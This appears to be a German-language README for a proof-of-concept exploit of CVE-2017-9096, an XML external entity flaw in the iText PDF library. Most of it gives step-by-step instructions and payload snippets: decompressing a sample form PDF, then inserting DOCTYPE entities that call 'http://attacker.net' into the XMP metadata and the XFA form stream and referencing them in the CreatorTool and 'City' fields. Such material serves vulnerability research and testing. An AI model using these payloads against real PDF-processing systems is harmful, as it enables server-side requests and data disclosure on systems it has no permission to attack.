
Proof-of-Concept-Exploit für CVE-2017-9096, das eine XML-External-Entity-Injection (XXE) in der iText-PDF-Bibliothek über bösartige XMP-Metadaten und Formularfelder demonstriert.
Holen Sie ein PDF mit einem Formular:
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
Dazu müssen Sie das PDF mit qpdf --qdf --object-streams=disable input.pdf output.pdf dekomprimieren, dann können Sie das PDF mit einem Texteditor bearbeiten und bösartiges XML hinzufügen.
Sie können XEE in die XMP-Metadaten in Zeile 77 einfügen:
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
Und natürlich die Referenz auch irgendwo einfügen, z.B. in Zeile 88:
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
Sie können auch eine übliche XXE zur Datei hinzufügen. Siehe diesen Teil im Originaldokument (beginnt bei Zeile 740):
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
Ändern Sie es in Folgendes:
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
Dann fügen Sie einfach die Referenz irgendwo hinzu, z.B. in das Feld 'City' (Zeile 1845 im ursprünglichen dekomprimierten Dokument). Ändern Sie dies:
<text
>City:</text
></value
>
In dies:
<text
>City:</text
><xxe>&xxe;</xxe></value
>
Sie finden das gepatchte PDF mit beiden XXE auch in diesem Repositorium (output_with_xxe.pdf)
Führen Sie die Java-App aus, um das PDF mit mvn clean compile exec:java zu testen.